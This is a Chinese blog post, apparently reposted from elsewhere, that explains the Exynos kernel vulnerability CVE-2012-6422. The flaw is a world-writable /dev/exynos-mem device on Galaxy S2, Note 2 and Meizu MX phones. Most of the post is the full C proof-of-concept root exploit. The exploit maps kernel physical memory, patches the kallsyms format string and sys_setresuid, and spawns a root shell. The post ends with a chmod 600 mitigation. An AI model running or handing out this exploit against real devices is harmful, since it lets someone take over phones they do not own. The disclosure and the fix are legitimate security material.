Root exploit on Exynos(CVE-2012-6422)

来源:互联网 发布:服务器端编程心得 编辑:程序博客网 时间:2024/06/05 05:05

/*

本文章由 莫灰灰 编写,转载请注明出处。  

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1.漏洞成因

这是一个内核安全漏洞,主要的漏洞设备是/dev/exynos-mem。这个设备对所有用户都是读/写(R/W)权限,黑客可以利用这个设备对内核物理内存进行映射,并且改写。

三个会利用/dev/exynos-mem的库文件。

  • /system/lib/hw/camera.smdk4x12.so
  • /system/lib/hw/gralloc.smdk4x12.so
  • /system/lib/libhdmi.so


2.影响设备
  • Samsung Galaxy S2
  • Samsung Galxy Note 2
  • MEIZU MX
  • 那些使用exynos处理器(4210 和4412)并且使用了三星内核代码的设备


3.漏洞原理
使用/dev/exynos-mem设备将0x40000000开始的物理内存map出来,之后通过patch物理内存的相关函数,使得我们可以调用setresuid(0, 0, 0)成功,并且得到root权限。


4.PoC
/* * exynos-mem device abuse by alephzain * * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX * * the device is R/W by all users : * crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem * *//* * Abuse it for root shell */#include <stdio.h>#include <sys/mman.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdlib.h>#include <unistd.h>#include <errno.h>#include <sys/ioctl.h>#include <stdbool.h>#define PAGE_OFFSET 0xC0000000#define PHYS_OFFSET 0x40000000int main(int argc, char **argv, char **env) {int fd, i, m, index, result;unsigned long *paddr = NULL;    unsigned long *tmp = NULL;    unsigned long *restore_ptr_fmt = NULL;    unsigned long *restore_ptr_setresuid = NULL;    unsigned long addr_sym;int page_size = sysconf(_SC_PAGE_SIZE);    int length = page_size * page_size;    /* for root shell */    char *cmd[2];    cmd[0] = "/system/bin/sh";    cmd[1] = NULL;    /* /proc/kallsyms parsing */    FILE *kallsyms = NULL;    char line [512];    char *ptr;    char *str;    bool found = false;    /* open the door */fd = open("/dev/exynos-mem", O_RDWR);if (fd == -1) {printf("[!] Error opening /dev/exynos-mem\n");exit(1);}    /* kernel reside at the start of physical memory, so take some Mb */    paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);    tmp = paddr;    if (paddr == MAP_FAILED) {        printf("[!] Error mmap: %s|%08X\n",strerror(errno), i);        exit(1);    }    /*     * search the format string "%pK %c %s\n" in memory     * and replace "%pK" by "%p" to force display kernel     * symbols pointer     */    for(m = 0; m < length; m += 4) {        if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) {            printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m);            restore_ptr_fmt = tmp;            *(unsigned long*)tmp = 0x20207025;            found = true;            break;        }        tmp++;    }    if (found == false) {        printf("[!] s_show->seq_printf format string not found\n");        exit(1);    }    found = false;    /* kallsyms now display symbols address */           kallsyms = fopen("/proc/kallsyms", "r");    if (kallsyms == NULL) {        printf("[!] kallsysms error: %s\n", strerror(errno));        exit(1);    }    /* parse /proc/kallsyms to find sys_setresuid address */    while((ptr = fgets(line, 512, kallsyms))) {        str = strtok(ptr, " ");        addr_sym = strtoul(str, NULL, 16);        index = 1;        while(str) {            str = strtok(NULL, " ");            index++;            if (index == 3) {                if (strncmp("sys_setresuid\n", str, 14) == 0) {                    printf("[*] sys_setresuid found at 0x%08X\n",addr_sym);                    found = true;                }                break;            }        }        if (found) {            tmp = paddr;            tmp += (addr_sym - PAGE_OFFSET) >> 2;            for(m = 0; m < 128; m += 4) {                if (*(unsigned long *)tmp == 0xe3500000) {                    printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m);                    restore_ptr_setresuid = tmp;                    *(unsigned long *)tmp = 0xe3500001;                    break;                }                tmp++;            }            break;        }    }    fclose(kallsyms);    /* to be sure memory is updated */    usleep(100000);    /* ask for root */    result = setresuid(0, 0, 0);    /* restore memory */    *(unsigned long *)restore_ptr_fmt = 0x204b7025;    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;    munmap(paddr, length);    close(fd);    if (result) {        printf("[!] set user root failed: %s\n", strerror(errno));        exit(1);    }    /* execute a root shell */    execve (cmd[0], cmd, env);    return 0;}


5.修复
XDA上给出了一个简单的修补方法,即只允许ower去执行R/W操作。
chmod 600 /dev/exynos-mem


ps.这个漏洞的成因和利用,在xda上已经有很详细的说明了,文章链接:http://forum.xda-developers.com/showthread.php?p=35469999

0 0